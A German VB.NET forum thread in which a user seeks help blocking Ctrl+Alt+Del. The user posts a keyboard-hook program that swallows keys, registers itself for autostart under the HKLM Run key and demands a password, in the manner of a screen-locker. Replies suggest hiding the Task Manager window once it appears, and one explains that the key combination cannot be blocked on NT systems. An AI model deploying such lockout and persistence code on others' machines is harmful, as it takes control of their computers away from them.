Entf Strg Alt

  • VB.NET

Es gibt 17 Antworten in diesem Thema. Der letzte Beitrag () ist von hal2000.

    Entf Strg Alt

    Ich habe einen code mit dem ich alle tasten sperren kann. Blos weiß ich nicht wie ich diese tastenkombination sperre.

    VB.NET-Quellcode

    1. Private Declare Sub keybb_event Lib "user32" ( _
    2. ByVal bVk As Byte, _
    3. ByVal bScan As Byte, _
    4. ByVal dwFlags As Integer, _
    5. ByVal dwExtraInfo As Integer)
    7. Private Const KEYEVENTF_KEYUP = &H2
    9. Private Delegate Function HOOKPROCDelegate( _
    10. ByVal nCode As Integer, _
    11. ByVal wParam As IntPtr, _
    12. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    14. ' dauerhafte Delegaten-Variable erzeugen
    15. Private HookProc As New HOOKPROCDelegate(AddressOf KeyboardHookProc)
    17. Private Declare Unicode Function GetModuleHandleW Lib "kernel32.dll" ( _
    18. ByVal lpModuleName As IntPtr) As IntPtr
    20. ' Die Funktion, um einen globalen Hook setzen zu können:
    21. Private Declare Unicode Function SetWindowsHookExW Lib "user32.dll" ( _
    22. ByVal idHook As Integer, _
    23. ByVal lpfn As HOOKPROCDelegate, _
    24. ByVal hMod As IntPtr, _
    25. ByVal dwThreadId As UInteger) As IntPtr
    27. ' Für das Löschen des Hooks wird diese Funktion verwendet:
    28. Private Declare Unicode Function UnhookWindowsHookEx Lib "user32.dll" ( _
    29. ByVal hhk As IntPtr) As UInteger
    31. Private Declare Unicode Function CallNextHookEx Lib "user32.dll" ( _
    32. ByVal hhk As IntPtr, _
    33. ByVal nCode As Integer, _
    34. ByVal wParam As IntPtr, _
    35. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    37. Private Const WM_KEYDOWN As Int32 = &H100 ' Konstante für WM_KEYDOWN
    38. Private Const WM_KEYUP As Int32 = &H101 ' Konstante für WM_KEYUP
    39. Private Const HC_ACTION As Integer = 0 ' Konstante für HC_ACTION
    40. Private Const WH_KEYBOARD_LL As Integer = 13 ' Konstante für WH_KEYBOARD_LL
    42. Public PrevWndProc As Integer
    43. Private mHandle As IntPtr
    45. <StructLayout(LayoutKind.Sequential)> Public Structure KBDLLHOOKSTRUCT
    46. Public vkCode As Keys
    47. Public scanCode, flags, time, dwExtraInfo As UInteger
    49. Public Sub New(ByVal key As Keys, _
    50. ByVal scancod As UInteger, _
    51. ByVal flagss As UInteger, _
    52. ByVal zeit As UInteger, _
    53. ByVal extra As UInteger)
    55. vkCode = key
    56. scanCode = scancod
    57. flags = flagss
    58. time = zeit
    59. dwExtraInfo = extra
    60. End Sub
    61. End Structure
    62. ' Um den Hook ein-/ausschalten zu können:
    63. Public Property KeyHookEnable() As Boolean
    64. Get
    65. Return mHandle <> IntPtr.Zero
    66. End Get
    67. Set(ByVal value As Boolean)
    68. If KeyHookEnable = value Then Return
    69. If value Then
    70. mHandle = SetWindowsHookExW(WH_KEYBOARD_LL, HookProc, _
    71. GetModuleHandleW(IntPtr.Zero), 0)
    72. Else
    73. UnhookWindowsHookEx(mHandle)
    74. mHandle = IntPtr.Zero
    75. End If
    76. End Set
    77. End Property
    78. ' Hiermit wird der Tastendruck VOR dem Betriebssystem abgefangen:
    79. ' wParam kann folgende Werte annehmen:
    80. ' WM_KEYUP und WM_KEYDOWN (Taste gedrückt/losgelassen)
    81. ' wird fEatKeyStroke=true gesetzt, so wird dieser Tastendruck "verschluckt",
    82. ' d. h. er hat für das System NIE statt gefunden.
    83. Private Function KeyboardHookProc(ByVal nCode As Integer, _
    84. ByVal wParam As IntPtr, _
    85. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    87. Dim fEatKeyStroke As Boolean
    89. If nCode = HC_ACTION Then
    91. Select Case lParam.vkCode
    92. Case Keys.Shift
    93. fEatKeyStroke = True
    94. Case Keys.Alt
    95. fEatKeyStroke = True
    96. Case Keys.Home
    97. fEatKeyStroke = True
    98. Case Keys.Enter
    99. fEatKeyStroke = True
    100. Case Keys.Tab
    101. fEatKeyStroke = True
    102. Case Keys.End
    103. fEatKeyStroke = True
    104. Case Keys.Escape
    105. fEatKeyStroke = True
    106. Case Keys.LWin
    107. fEatKeyStroke = True
    108. Case Keys.RWin
    109. fEatKeyStroke = True
    110. Case Keys.Delete
    111. fEatKeyStroke = True
    112. End Select
    114. If fEatKeyStroke Then
    115. Return New IntPtr(1)
    116. Exit Function
    117. End If
    119. Return CallNextHookEx(mHandle, nCode, wParam, lParam)
    120. End If
    121. End Function
    122. Private Sub Form1_Load(ByVal sender As System.Object, _
    123. ByVal e As System.EventArgs) Handles MyBase.Load
    125. ' Hook einschalten:
    126. KeyHookEnable = True
    128. Label1.Text = "Geben Sie das richtige Passwort ein!!"
    130. Dim oRegKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
    131. oRegKey.SetValue(My.Application.Info.AssemblyName, System.Windows.Forms.Application.ExecutablePath)
    132. End Sub
    133. Private Sub Form1_Closing(ByVal sender As System.Object, _
    134. ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
    136. ' WICHTIG! Hook ausschalten beim Beenden nicht vergessen!!!
    137. KeyHookEnable = False
    138. End Sub
    139. End Class


    diesen code benutze ich. Wenn ich bei der stelle

    VB.NET-Quellcode

    1. ' Hiermit wird der Tastendruck VOR dem Betriebssystem abgefangen:
    2. ' wParam kann folgende Werte annehmen:
    3. ' WM_KEYUP und WM_KEYDOWN (Taste gedrückt/losgelassen)
    4. ' wird fEatKeyStroke=true gesetzt, so wird dieser Tastendruck "verschluckt",
    5. ' d. h. er hat für das System NIE statt gefunden.
    6. Private Function KeyboardHookProc(ByVal nCode As Integer, _
    7. ByVal wParam As IntPtr, _
    8. ByRef lParam As KBDLLHOOKSTRUCT) As IntPtr
    10. Dim fEatKeyStroke As Boolean
    12. If nCode = HC_ACTION Then
    14. Select Case lParam.vkCode
    15. Case Keys.Shift
    16. fEatKeyStroke = True
    17. Case Keys.Alt
    18. fEatKeyStroke = True
    19. Case Keys.Home
    20. fEatKeyStroke = True
    21. Case Keys.Enter
    22. fEatKeyStroke = True
    23. Case Keys.Tab
    24. fEatKeyStroke = True
    25. Case Keys.End
    26. fEatKeyStroke = True
    27. Case Keys.Escape
    28. fEatKeyStroke = True
    29. Case Keys.LWin
    30. fEatKeyStroke = True
    31. Case Keys.RWin
    32. fEatKeyStroke = True
    33. Case Keys.Delete
    34. fEatKeyStroke = True
    35. End Select
    37. If fEatKeyStroke Then
    38. Return New IntPtr(1)
    39. Exit Function
    40. End If
    42. Return CallNextHookEx(mHandle, nCode, wParam, lParam)
    43. End If
    44. End Function


    dies hier eingebe

    VB.NET-Quellcode

    1. Case Keys.Delete , Keys.Alt , Keys.Shift
    2. fEatKeyStroke = True


    dan sperrt er mit die Tasten nicht warum?

    Ganz einfach eigendlich. HC_ACTION gilt nur für Buchstaben, Ziffern, etc. aber nicht für CTRL, ALT, Entf, etc.. Setz mal einen Haltepunkt bei
    If nCode = HC_ACTION Then und kuck, was nCode ist, wenn du ALT oder eine der anderen Tasten drückst, ist. Dann musst du diese Zeile entsprechend erweitern.

    lg

    VB.NET-Quellcode

    1. Option Explicit
    3. 'Deklaration: Globale Form API-Konstanten
    4. Private Const SPI_SCREENSAVERRUNNING As Long = 97&
    6. 'Deklaration: Globale Form API-Funktionnen
    7. Private Declare Function SystemParametersInfo Lib "User32" Alias "SystemParametersInfoA" ( _
    8. ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
    9. ByVal fuWinIni As Long) As Long
    11. Private Sub Command1_Click()
    12. 'Deklaration: Lokale Prozedur-Variablen
    13. Dim lngErgebnis As Long
    15. lngErgebnis = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, "1", 0)
    16. Label1.Caption = "[Strg] + [Alt] + [Entf] ausgeschaltet"
    17. End Sub
    19. Private Sub Command2_Click()
    20. 'Deklaration: Lokale Prozedur-Variablen
    21. Dim lngErgebnis As Long
    23. lngErgebnis = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, "1", 0)
    24. Label1.Caption = "[Strg] + [Alt] + [Entf] eingeschaltet"
    25. End Sub
    27. Private Sub Form_Load()
    28. 'Control-Eigenschaften initialisieren
    29. Command1.Caption = "Aus"
    30. Command2.Caption = "Ein"
    32. Call Command2_Click
    33. End Sub


    in der 8 zeile



    aber wenn ich bei

    VB.NET-Quellcode

    1. Private Sub Form_Load()
    2. 'Control-Eigenschaften initialisieren
    3. Command1.Caption = "Aus"
    4. Command2.Caption = "Ein"
    6. Call Command2_Click

    bin. muss ich dan Command1.Text machen

    so schaut API deklaration unter VB NET aus:

    VB.NET-Quellcode

    1. Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Integer, ByVal uParam As Integer, ByRef lpvParam As Byte(), ByVal fuWinIni As Integer) As Integer

    kann mir jetzt bitte einer helfen. Der code der functioniert bei mir nicht auch wenn ich ihn umgeschrieben habe, dneke ich das ich ihn umgeschrieben hab. Im internet habe ich auch schon nach geschaut und habe nichts gefunden. Und in meinem Buch setht darümer auch nichts. ?( ?( ?( ?( ?( ?( ?( ?( ?( ?( ?(

    Alex2000 schrieb:

    Du willst Taskmaneger sperren/deaktivieren, bist du fitt in WIN API und Cdoe umschreiben von VB 6 in VB NET,schau mal hier rein viel spaß ... ! :thumbup:
    Zitat aus der Überschrift des Links: "Dieser Tipp ist nicht für NT-basierende Microsoft Windows Betriebssysteme gedacht."
    Windows XP ist ein NT-basierendes System, genau wie auch alle nachfolgenden Versionen. Der Code kann also nicht funktionieren, egal ob umgeschrieben oder nicht.

    Meines Erachtens kann die genannte Tastenkombination nicht deaktiviert werden, denn das System ignoriert selbst BlockInput(True), wenn diese gedrückt wird. BlockInput() ist eine API-Funktion, die die Tastatur komplett sperrt (bis auf Strg-Alt-Entf).
    Gruß
    hal2000

    Das ist bei vielen Spielen so - hat aber einen anderen Grund. Die Spiele zeichnen ihre Oberfläche per DirectX, sind also eine Art "Fullscreen-Overlay" auf dem Desktop. Beim Drücken von Strg-Alt-Entf wird der Taskmanager aufgerufen und angezeigt - du siehst ihn nur nicht, weil er unter dem Game-Overlay liegt. Du kannst ihn allerdings blind steuern, indem du mit der Tastatur auf die Registerkarte "Prozesse" wechselst und nach und nach mit Entf - Enter mehrere Prozesse beendest. Irgendwann beendest du den Spiele-Prozess und du siehst den Taskmanager auf dem Desktop.
    Gruß
    hal2000

    @hal2000: hast recht, da habe ich was übersehen
    @Chris213: Meine oben gepostete Code (Taskmanager de/aktivieren) wird nicht funz, hal2000 hat schon erklärt. Fehlt mir gerade eine andere Möglichkeit ein, du kannst Tasten kombination mit hilfe Hotkey oder API GetAsynkState abfangen danach Fensterhandle mit hilfe API "FindWindow" ermitteln und das Fenster ausblenden.
    Wenn du STRG+ALT+ENTF drückst, der Taskmanager wird kurz angezeigt und danach sofort ausgeblendet, mehr kann ich dir nicht anbieten !

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „Alex2000“ ()

    [...] Hotkey [...]
    Ich glaube, dass auch SetHotKey() die Einschränkung hat, die Systemreservierte Tastenkombination zu registrieren...bin aber nicht sicher. Probier's aus. Eine Möglichkeit wäre noch ein LowLevel-Hook - für das Abfangen eines Tastendrucks erscheint dieser Aufwand jedoch ein wenig überdimensioniert.
    EDIT: Ich sehe gerade, dass der Threadersteller auch das schon versucht hat, wenn auch erfolglos.
    Gruß
    hal2000

Facebook
Telefonspende